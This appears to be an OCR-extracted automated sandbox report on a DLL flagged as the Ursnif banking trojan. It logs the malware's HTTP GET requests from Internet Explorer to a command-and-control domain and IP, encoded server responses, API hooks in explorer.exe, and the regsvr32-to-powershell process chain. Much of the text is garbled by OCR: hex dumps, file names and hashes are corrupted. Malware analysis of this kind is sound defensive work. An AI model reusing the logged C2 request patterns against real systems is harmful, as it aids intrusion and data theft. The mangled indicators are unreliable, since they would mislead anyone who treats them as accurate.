9c 87 73 67 9c 86 73 27 ff ff ff 01 ff ff ff 01 9b 86 73 0d 9c 87 73 81 9c 87 73 ¢5 9¢ 87 73 17 9¢ 87 73 27 9c 87 73 5f 9c 87
737 9c 87 73 85 9c¢ 87 73 09 9b 87 72 51 9¢ 87 73 d3 9c¢ 87 73 9d 9c 87 73 4b 9c 86 72 2f 9c 87 73 33 9¢c 87 73 61 9c 87
73 bd 9b 87 73 b1 9c 87 73 21 9¢ 87 73 23 9¢c 87 73 cd 9c 87 73 87 9c 87 73 f9 9c 86 73 f9 9¢ 87 73 83 9c 87 73 07 9c 87
73 1f 9¢c 87 73 79 9¢ 87 73 b9 9¢ 87 72 ¢5 9¢ 87 73 ¢3 9¢ 87 72 a7 9¢c 87 73 55 9¢ 87 72 0b 9¢ 87 73 1d 9¢c

Data Ascii: h& ( @ s{ss#ssrsssl: }ssWrssmsKsC: Y UssYsssr#ssssros[ssss]srsSs

L

1 1 T | 1

C AsYosstrrs|sssk S7SSITSISSSSS7SSSIS?S7SSSSSIW! nsl QSSSrsmsrsrss

1 1] L

rssQsrkssgs'sssss's_sssrQsssKr/s3sasss!s#ssssssssysrsrsurs
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Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Jan 20, 2021 6844

07:48:01.003424883 CET

Jan 20, 2021 6845
07:48:01.072200060 CET

Session ID Source IP
2 192.168.2.3

kBytes
Timestamp transferred
Jan 20, 2021 7188

07:48:03.896404982 CET

Copyright null 2021

Source Port

49771

Direction

ouT

Source Port

49773

Direction

ouT

Destination IP Destination Port Process

185.186.244.49 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /manifest/vduANE3J_2Bc1JVCe/mGf1TVDsPI7d/IwOe5xT417F/rOdjERcwNagbl3/secUFuGZN4k2hLpDAm
gZ_/2B14CbUSWUpX_2Fi/39R3WtzGANArbeD/to_2F84kphfgq2hxfRa/eViH_2Bcq/DU4QxfFAXEKLhh6ELbOS/LXf
ZS2VQbBBYX|DtBzf/l6HdWO2UjlqCLsIcJOFOPGY/_2FVMnTrB/_2B.cnx HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: lopppooole.xyz

Connection: Keep-Alive

Cookie: lang=en; PHPSESSID=ckInirt54us2267ioh1bdjd451

HTTP/1.1 200 OK

Date: Wed, 20 Jan 2021 06:48:01 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 34 38 35 61 63 0d 0Oa 4e 67 69 5a 2b 45 75 7a 76 56 38 44 6b 36 4b 67 4c 38 4e 4c 30 41 42 31 43 4¢ 57 74 6f
386559 63 36 43 63 33 36 4d 6a 4d 46 53 49 44 57 56 4a 53 69 63 55 62 36 4b 5a 2f 66 39 31 49 4a 2f 43 6¢ 68 4e 65
42 32 2f58 57 315038 72 77 37 51 34 43 61 50 72 49 51 54 52 41 42 35 4f 38 38 34 38 4d 30 32 57 53 6a 6¢ 77 4d 47
68 46 56 41 66 6¢ 44 50 31 64 59 7a 4e 34 54 66 74 42 52 6e 4e 6¢ 30 63 54 4e 6a 70 71 42 77 6d 79 68 4c 62 4¢c 31 37 6
35466 44 7a 69 73 36 54 72 6a 42 4e 69 4f 51 56 51 67 46 34 30 4d 55 68 43 6f 35 34 72 49 55 77 4a 51 44 36 44 74 78
49 34 48 6a 4c 48 35 4c 6f 33 50 45 77 6a 70 46 77 67 6d 5a 32 4f 31 64 61 72 54 79 4b 4a 49 37 50 6a 71 59 4d 7a 65 49
4c 4d 70 76 62 70 69 53 58 56 33 4c¢ 75 33 50 55 33 42 78 53 31 47 4b 39 34 77 36 55 74 68 37 76 2b 4c 4c 36 50 2b 71
63 51 4f 46 42 77 36 53 2f 51 44 75 4d 4d 78 6d 46 34 75 59 62 38 64 2b 78 31 6b 6¢ 42 43 73 31 77 6f 42 5a 32 49 43 46
66 5a 70 44 51 39 6a 73 4d 72 65 7a 62 46 73 62 6d 65 6b 32 67 52 67 68 4e 59 31 65 51 4e 31 4e 52 2b 2f 6e 38 51 49
6¢ 55 46 6b 31 6a 55 2f 4e 44 2b 4a 33 38 45 77 4f 35 59 4a 4f 6¢ 35 4f 51 5a 48 6e 49 55 75 6f 79 45 43 63 6¢ 78 54 65
67 65 70 37 58 35 65 70 73 31 35 5a 6d 4c 79 52 53 77 59 33 5a 39 46 6b 46 49 72 4b 64 54 5a 36 6e 73 53 71 70 64 77
5a 31 4b 7a 56 6b 64 34 6d 58 55 72 42 70 4e 65 66 2f 57 37 46 50 64 68 63 77 73 46 6d 4a 7a 43 4c 75 35 39 58 6¢ 58 2f
73 6d 70 36 6d 4a 38 43 73 31 55 45 41 79 61 33 54 49 6e 71 66 4a 67 41 79 39 47 38 62 39 39 49 70 55 41 7a 68 4d 66
38 79 4f 68 57 74 74 35 38 74 50 2f 59 76 75 35 34 50 78 4e 45 5a 71 6a 4d 46 39 34 65 48 55 4e 41 70 4f 58 4d 33 78 6b
63 4a 44 6e 47 4c 78 32 38 7a 6b 5a 6a 69 30 62 6a 6a 79 4b 59 4c 31 6e 2f 32 4e 75 48 44 5a 57 5a 47 70 41 4e 57 63
50 71 67 46 4f 67 67 6f 79 54 51 77 34 57 57 52 69 6a 6¢ 59 52 72 31 78 45 4a 63 38 46 65 73 30 41 48 64 70 6d 7a 31 2b
47 48 68 63 50 6e 65 71 76 38 69 79 76 39 46 71 44 78 42 50 4f 4f 53 32 71 49 70 63 56 4c 77 43 50 62 71 2f 33 75 71 69
4e 36 6b 2f 4f 4c 45 63 2f 33 72 62 75 4f 6a 74 37 38 33 36 65 50 34 34 66 56 66 73 76 35 64 75 77 43 42 36 5a 6f 54 78
34 44 31 56 45 37 64 6e 4c 49 46 32 54 49 73 4d 47 4a 75 5a 4d 49 46 39 65 58 38 71 6e 55 6b 59 6e 4c 42 79 61 6d 48
7a4e 387141367759 7551 2b 54 56 73 2f 39 62 4c 48 4f 66 55 4¢c 52 77 36 55 73 46 51 4f 77 78 56 7a 36 71 79 47 66
48 3151 64 3157 36 71 76 45 53 66 69 62 4a 6a 79 72 30 55 4a 45 42 61 2b 7a 4d 57 38 6f 4d 31 4c 55 49 4c 2b 7a 58
2b 6a 63 44 4b 42 69 6d 4b 4d 41 72 45 38 73 6b 49 7a 2b 43 58 48 64 78 4f 65 53 75 37 51 44 59 78 2b 31 34 6¢ 56 6b
76 66 31 75 4b 61 50 74 4b 48 70 70 51 4c 6b 59 72 56 46 37 42 37 6b 76 66 30 2f 6b 62 4e 67 54 57 4d 6d 6e 69 39 55
4c 3259 75 50 5a 58 61 36 52 48 79 4b 7a 67 71 54 49 72 71 4f 65 32 2b 75 77 7a 56 36 66 75 45 43 6f 67 33 6a 59 6a 7
6 63 4f 4b 32 57 50 57 2f 74

Data Ascii: 485acNgiZ+EuzvV8Dk6KgL8NLOAB1CLWto8eYc6Cc36MjMFSIDWVJISicUb6KZ/f911J/ClhNeB2/XW
1P8rw7Q4CaPriQTRAB508848M02WSjlwMGhFVAfIDP1dYzN4TftBRNNIOcTNjpgBwmyhLbL17cTfDzis6 TriBNiOQV
QgF40MUhC054rIUwJQD6DtxI4HjLH5L03PEwjpFwgmZ201darTyKJI7PjgYMzelLMpvbpiSXV3Lu3PU3BXxS1GK94w6
Uth7v+LL6P+qcQOFBwW6S/QDuMMxmF4uYb8d+x1kIBCs1woBZ2ICFfZpDQ9jsMrezbFsbmek2gRghNY1eQN1NR+/n8Q
1IUFk1jU/ND+J38EWO5YJOI50QZHnIUuoyECcIxTegep7X5eps15ZmLyRSwY3Z9FkFIrKdTZ6nsSqpdwZ1KzVkd4mX
UrBpNef/W7FPdhcwsFmJzCLuU59XIX/smp6mJ8Cs1UEAya3TIngfJgAy9G8b99IpUAZzhMf8yOhWtt58tP/YvuS54PXNE
ZgjMF94eHUNApPOXM3xkcIDnGLx28zkZjiObjjyKYL1n/2NuHDZWZGpANWcPqgFOggoy TQW4WWRIjlY Rr1xEJc8FesO
AHdpmz1+GHhcPneqv8iyv9FgDXBPOOS2qlpcVLwCPbg/3uqiN6k/OLEc/3rbuOjt7836eP44fVfsv5duwCB6Z0oTx4D
1VE7dnLIF2TIsSMGJuZMIF9eX8gnUkYnLByamHzN8gA6wWY uQ+TVs/9bLHOfULRWEUSFQOwxVz6qyGfH1Qd1W6qvE Sfi
bJjyrOUJEBa+zMW80oM1LUIL+zX+jcDKBImKMArE8sklz+CXHdxOeSu7QDYx+14IVkvfluKaPtKHppQLKYrVF7B7kvf
0/kbNgTWMmni9UL2YuPZXa6RHyKzgqTIrqOe2+uwzV6fuECog3jYjvcOK2WPW/t

Destination IP Destination Port Process

185.186.244.49 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /manifest/vZLKOd4IARH3Q_2BrO_/2FsO_2F2nRs6X20i1Zey6b/w_2BPzCyb9gWu/aUJj6fj9/AcW2RxwV5jVAuulZ6tg8
Vss/9LOe5w8WWk/h4UkM31kY pKt809d8/y04pjwYIwpB4/tTLboWwUUSK/KwHKzEhmg_2FCK/ORXjauzqdg7mdbzD8
7Bzs/Wj_2BxZ5qHCgyoUo/tDRuRFtxg/6W5SEQq8I/P.cnx HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: lopppooole.xyz

Connection: Keep-Alive

Cookie: lang=en; PHPSESSID=ckInirt54us2267ioh1bdjd451
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Timestamp

Jan 20, 2021

kBytes
transferred

7190

07:48:03.970319033 CET

HTTPS Packets

Timestamp

Jan 20, 2021
07:46:56.982574940
CET

Jan 20, 2021
07:46:56.983270884
CET

Copyright null 2021

Source

Source IP Port

151.101.1.44 443

151.101.1.44 443

Direction
IN
Dest
Dest IP Port

192.168.2.3 49742

192.168.2.3 49743

Data

HTTP/1.1 200 OK

Date: Wed, 20 Jan 2021 06:48:03 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 2412

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Data Raw: 75 31 2b 32 50 68 6f 43 37 6f 41 34 50 69 57 58 35 2f 6b 64 2f 50 62 41 72 53 38 6d 68 55 54 70 38 57 78 39
5162 7559 6¢ 66 7a 68 42 63 6a 62 4c 57 68 44 2f 59 57 36 46 71 58 6b 77 6b 61 74 51 70 35 33 49 54 77 2f 52 6f 68 2b
4b 31 32 67 33 2b 53 44 58 4c 48 73 5a 67 31 6f 6e 52 70 74 71 53 36 63 4a 4e 6e 4b 4d 34 43 73 54 4b 70 30 38 59 5a
51 7a4c 67 69 66 76 68 34 42 52 34 39 48 74 72 4b 6¢ 72 6¢ 49 74 74 62 62 65 31 53 6¢ 33 38 63 57 51 2b 52 36 51 30
49 6d 63 4b 51 74 32 48 46 54 43 4f 66 39 52 61 77 46 6d 35 4c 67 45 47 2f 4a 68 6e 6b 65 64 31 6d 51 6d 53 42 2b 77 44
48 69 4f 68 2b 44 45 48 6d 30 46 6b 31 49 48 6¢ 52 47 48 4d 79 4f 4a 45 73 66 6f 59 36 38 39 69 33 5a 30 36 71 4c 65 6d
62 4e 62 56 68 64 32 52 47 2b 32 79 44 58 6a 2b 78 6e 39 59 4e 74 79 61 47 62 66 70 51 45 6a 37 75 6e 32 6b 44 37 7a
73 7a 3238427159 6d 43 51 57 2f 63 71 6e 2f 42 73 50 2f 33 56 51 78 62 67 35 52 59 38 47 77 44 30 4a 32 42 37 52 35
56 53 31 54 55 59 72 6d 6¢ 4a 38 4d 66 6e 59 69 51 51 6¢ 6a 57 49 79 6f 4b 2b 7a 6a 61 56 41 72 47 6e 66 74 4c 78 70
65 35 5a 2f 45 6d 61 44 5a 52 50 79 64 52 39 6e 64 65 48 6f 41 6d 2b 48 72 78 65 37 65 4a 72 7a 51 55 33 68 35 33 61
4954 52 34 6a 46 52 70 70 59 35 79 72 4d 45 7a 4e 7a 4c 35 31 44 4f 36 43 71 4d 71 39 47 67 6f 77 49 66 69 73 6b 44
4b 61 33 75 43 58 2f 77 6¢ 71 75 51 72 4e 53 6e 61 2b 55 55 50 31 52 63 41 79 53 6¢ 43 4b 78 4¢ 52 70 45 2f 35 42 6e 56
55 31 49 32 6e 36 53 75 33 55 69 74 76 69 4d 63 44 6d 35 31 58 76 44 4b 53 69 47 41 48 61 6d 51 64 38 63 54 52 62 42
2b 6f 6d 34 67 69 46 36 7a 71 52 41 57 37 6b 78 44 77 64 74 71 73 47 56 72 48 31 41 5a 63 6d 42 6d 5a 4c 4a 67 73 35
57 6a 55 6b 37 46 69 31 4b 69 46 61 6f 4c 34 67 63 6f 7a 52 4f 4e 46 35 53 69 42 48 53 63 7a 35 34 53 6d 44 66 6d 50 42
30 6¢ 59 77 4c 57 73 6d 6f 42 4b 58 33 48 6f 61 44 66 6d 69 70 49 45 7a 32 6¢ 55 53 6b 63 33 33 71 2f 57 35 7a 64 38 61
4c 57 6b 46 51 2b 61 56 78 6e 76 75 2b 74 39 4a 53 43 32 38 6b 59 75 59 71 34 42 35 5a 72 68 57 6d 51 6f 37 43 6f 36
44 69 6e 49 62 48 42 38 4f 62 51 35 4b 32 42 4b 37 4f 44 39 6d 47 6d 2b 58 77 55 52 63 34 33 4d 45 47 78 69 2f 32 68 48
4253 62 34 48 62 6d 38 64 38 5a 6a 51 6d 75 53 4e 6e 57 53 76 6e 43 70 44 4c 76 32 73 6d 68 54 43 35 6¢ 53 33 71 45
6d 56 76 34 32 71 53 35 68 33 73 61 67 43 55 4f 6f 4b 63 49 31 58 62 55 56 38 5a 51 68 37 4e 4f 4d 30 75 34 44 53 66 33
627034 7a 55 67 62 52 57 61 52 56 41 71 38 42 69 39 42 74 37 30 74 46 56 6b 6¢ 4b 48 43 56 37 46 5a 39 7a 57 7a 64
307371 7a 67 6e 33 7558 75 4d 32 50 62 31 67 66 72 6f 71 58 76 32 66 48 4d 32 64 68 70 31 5a 4b 44 56 44 6f 70 42
47 6e 32 4c 32 39 59 75 64 6b 6e 36 79 32 6a 4e 30 31 73 2b 64 76 4a 54 43 65 42 67 2b 44 59 65 63 4¢c 78 69 57 49 47 6
€ 333541 30 6b 63 4a 74 6b 58 76 74 54 45 71 72 2f 49 55 48 45 62 4c 62 62 52 44 47 74 56 58 4f 4f 53 67 33 74 6a 6d
64 4a 37 63 56 45 75 56 4e 70 7a 4f 6¢ 35 45 57

Data Ascii: ul+2PhoC70A4PiWX5/kd/PbArS8mhUTp8Wx9QbuYIfzhBcjbLWhD/YW6FgXkwkatQp53ITw/Roh+K1
2g3+SDXLHsZg1onRptqS6cINNKM4CSTKp08YZQzLgifvh4BR49HtrKIrlIttbbe1SI38cWQ+R6Q0IMcKQt2HFTCOf9
RawFm5LgEG/Jhnked1mQmSB+wDHiOh+DEHmMOFk1IHIRGHMyOJEsfoY689i3Z06gLembNbVhd2RG+2yDXj+xn9YNtya
GbfpQEj7un2kD7zsz28BqYmCQW/cqn/BsP/3VQxbg5RY8GwD0J2B7R5VS1TUYrmlJ8MfnYiQQIjWlyoK+zjaVArGnf
tLxpe5Z/EmaDZRPydR9ndeHoAm+Hrxe7eJrzQU3h53alTR4jFRppY5yrMEzNzL51DO6CgMg9GgowlfiskDKa3uCX/w
IquQrNSna+UUP1RcAySICKXLRpE/5BnVU112n6Su3UitviMcDm51XvDKSIGAHamQd8cTRbB+om4giF6zgRAW7kxDwd
tgsGVrH1AZcmBmZLJIgs5WjUk7FilKiFaolL4gcozRONF5SiBHScz54SmDfmPBOlYwLWsmoBKX3HoaDfmiplEz2IUSke
330/W5zd8aLWKFQ+aVxnvu+t9JSC28kYuYq4B5ZrhWmQo7Co6DinlbHB8ObQ5K2BK70DIMGmM+XWURC43MEGxi/2hHB
Sb4Hbm8d8ZjQmuSNnWSvnCpDLv2smhTC5IS3gEmVv42qS5h3sagCUO0KcI1XbUV8ZQh7NOMOu4DSf3bp
4zUgbRWaRVAQg8Bi9Bt70tFVkIKHCV7FZ9zWzd0sgqzgn3uXuM2PblgfrogXv2fHM2dhp1ZKDVDopBGn2L29Yudkn6y2
jNO1s+dvJTCeBg+DYecLxiWIGI35A0kcItkXvtTEqQr/IUHEbLbbRDGtVXO0OSg3tjmdJ7cVEUVNpzOISEW

Not Not JA3 SSL Client
Subject Issuer Before After Fingerprint JA3 SSL Client Digest
CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec27 49200-49199- 424db3a98c
York, ST=New York, C=US O=DigiCert Inc, C=US  01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CAL, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-

O=DigiCert Inc, C=US 24 24 156-61-60-53-47-

02:00:00 01:59:59 10,0-10-11-13-35-

CEST CEST  16-23-24-

2020 2030 65281,29-23-24,0
CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep

SHA256 2020 CAL, CA, 24 24

O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US CEST CEST
2020 2030
CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec27 49200-49199- 424db3a98c
York, ST=New York, C=US O=DigiCert Inc, C=US 01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CAL, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-
O=DigiCert Inc, C=US 24 24 156-61-60-53-47-
02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST 16-23-24-
2020 2030 65281,29-23-24,0
CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CAL, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US CEST CEST
2020 2030
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Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 20, 2021 151.101.1.44 443 192.168.2.3 49744 CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
07:46:56.984383106 O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec 27 49200-49199- 424db3a98c
CET York, ST=New York, C=US O=DigiCert Inc, C=US  01:00:00 00:59:59 49188-49187-

CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-

SHA256 2020 CAL, CA, 2020 2021 49162-49161-

O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-

O=DigiCert Inc, C=US 24 24 156-61-60-53-47-

02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST  16-23-24-
2020 2030 65281,29-23-24,0

CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CAL, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US  CEST  CEST
2020 2030
Jan 20, 2021 151.101.1.44 443 192.168.2.3 49746 CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
07:46:56.988327026 O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec27 49200-49199- 424db3a98c
CET York, ST=New York, C=US O=DigiCert Inc, C=US  01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CAL, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-
O=DigiCert Inc, C=US 24 24 156-61-60-53-47-

02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST  16-23-24-
2020 2030 65281,29-23-24,0

CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CAL, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com,  02:00:00 01:59:59
O=DigiCert Inc, C=US  CEST  CEST
2020 2030
Jan 20, 2021 151.101.1.44 443 192.168.2.3 49745 CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
07:46:56.988400936 O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec27 49200-49199- 424db3a98c
CET York, ST=New York, C=US O=DigiCert Inc, C=US  01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CAL, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-
O=DigiCert Inc, C=US 24 24 156-61-60-53-47-

02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST  16-23-24-
2020 2030 65281,29-23-24,0

CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CAL, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US  CEST  CEST
2020 2030
Jan 20, 2021 151.101.1.44 443 192.168.2.3 49741 CN=*.taboola.com, CN=DigiCert TLS RSA  Wed Mon 771,49196-49195- 9e10692f1b7f78228b2d4e
07:46:57.013035059 O="Taboola, Inc", L=New  SHA256 2020 CA1, Nov 25 Dec27 49200-49199- 424db3a98c
CET York, ST=New York, C=US O=DigiCert Inc, C=US  01:00:00 00:59:59 49188-49187-
CN=DigiCert TLS RSA CN=DigiCert Global Root CET CET 49192-49191-
SHA256 2020 CAL, CA, 2020 2021 49162-49161-
O=DigiCert Inc, C=US OU=www.digicert.com, Thu Sep Tue Sep 49172-49171-157-
O=DigiCert Inc, C=US 24 24 156-61-60-53-47-

02:00:00 01:59:59 10,0-10-11-13-35-
CEST CEST  16-23-24-
2020 2030 65281,29-23-24,0

CN=DigiCert TLS RSA CN=DigiCert Global Root Thu Sep Tue Sep
SHA256 2020 CAL, CA, 24 24
O=DigiCert Inc, C=US OU=www.digicert.com, 02:00:00 01:59:59
O=DigiCert Inc, C=US CEST CEST
2020 2030
Code Manipulations
User Modules
Hook Summary
Function Name Hook Type Active in Processes
CreateProcessAsUserW EAT explorer.exe
CreateProcessAsUserW INLINE explorer.exe
CreateProcessW EAT explorer.exe
CreateProcessW INLINE explorer.exe
CreateProcessA EAT explorer.exe
CreateProcessA INLINE explorer.exe
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW IAT explorer.exe
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Function Name Hook Type Active in Processes

api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT explorer.exe

Processes

Process: explorer.exe, Module: KERNEL32.DLL

Function Name Hook Type New Data
CreateProcessAsUserW EAT 7FFB70FF521C
CreateProcessAsUserW INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessW EAT 7FFB70FF5200
CreateProcessW INLINE OxFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA EAT 7FFB70FF520E
CreateProcessA INLINE OxFF 0xF2 0x25 0x50 0x00 0x00

Process: explorer.exe, Module: user32.dll

Function Name Hook Type New Data
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW IAT 7FFB70FF5200
api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT 610212C

Process: explorer.exe, Module: WININET.dII

Function Name Hook Type New Data
api-ms-win-core-processthreads-11-1-0.dll:CreateProcessW IAT 7FFB70FF5200
api-ms-win-core-registry-11-1-0.dll:RegGetValueW IAT 610212C
Statistics

Behavior

@ loaddlI32.exe
® regsvr32.exe
@ cmd.exe

@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
® iexplore.exe
@ mshta.exe

@ powershell.exe
@ conhost.exe
@ csc.exe

@ cvires.exe

@ csc.exe

@ cvires.exe

System Behavior

Click to jump to process

Analysis Process: loaddll32.exe PID: 4892 Parent PID: 5732

General

Start time: 07:46:46

Start date: 20/01/2021

Path: C:\Windows\System32\loaddlI32.exe

Wow64 process (32bit): true

Commandline: loaddlI32.exe 'C:\Users\user\Desktop\6007d134e83fctar.dll'
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Imagebase: 0x1010000

File size: 120832 bytes

MDS5 hash: 2D39D4DFDEBF7151723794029AB8A034
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: regsvr32.exe PID: 4688 Parent PID: 4892

General

Start time: 07:46:46

Start date: 20/01/2021

Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true

Commandline: regsvr32.exe /s C:\Users\user\Desktop\6007d134e83fctar.dll
Imagebase: 0xd20000

File size: 20992 bytes

MDS5 hash: 426E7499F6A7346F0410DEAD0O805586B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316329983.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316516876.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000002.440594075.0000000004380000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.371413612.0000000004B8C000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316461179.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316586724.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316557679.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316421566.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316536119.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.316489077.0000000004D88000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.428887884.0000000000950000.00000004.00000001.sdmp, Author:
Joe Security

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol

Analysis Process: cmd.exe PID: 2336 Parent PID: 4892
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

07:46:46

20/01/2021

C:\Windows\SysWOW64\cmd.exe

true

C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Exploreniexplore.exe'
0xbd0000

232960 bytes

F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 5660 Parent PID: 2336
General
Start time: 07:46:47
Start date: 20/01/2021
Path: C:\Program Files\internet exploreniexplore.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path Access

File Path Offset Length Value
File Read

File Path

\{B2DOE43B-6978-B4E6-8306-AD28679A31DC}
\{B2DOE43B-6978-B4E6-8306-AD28679A31DC}

Registry Activities

Key Path
Key Path Name Type
Key Path Name Type Old Data

Copyright null 2021

false

C:\Program Files\Internet Exploreniexplore.exe
0x7ff72bb40000

823560 bytes
6465CB92B25A7BC1DF8E01D8SACS5E7596
true

true

C, C++ or other language

high

Source

Attributes Options Completion Count Address Symbol
Source

Ascii Completion Count Address Symbol

Source

Offset Length Completion Count Address Symbol

0 16 pending 1 187013F65C8 ReadFile

0 12 success or wait 1 187013F65C8 ReadFile
Source

Completion Count Address Symbol
Source

Data Completion Count Address Symbol
Source

New Data Completion Count Address Symbol
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Analysis Process: iexplore.exe PID: 5284 Parent PID: 5660

General

Start time: 07:46:47

Start date: 20/01/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:5660 CREDAT:17410
Iprefetch:2

Imagebase: 0x140000

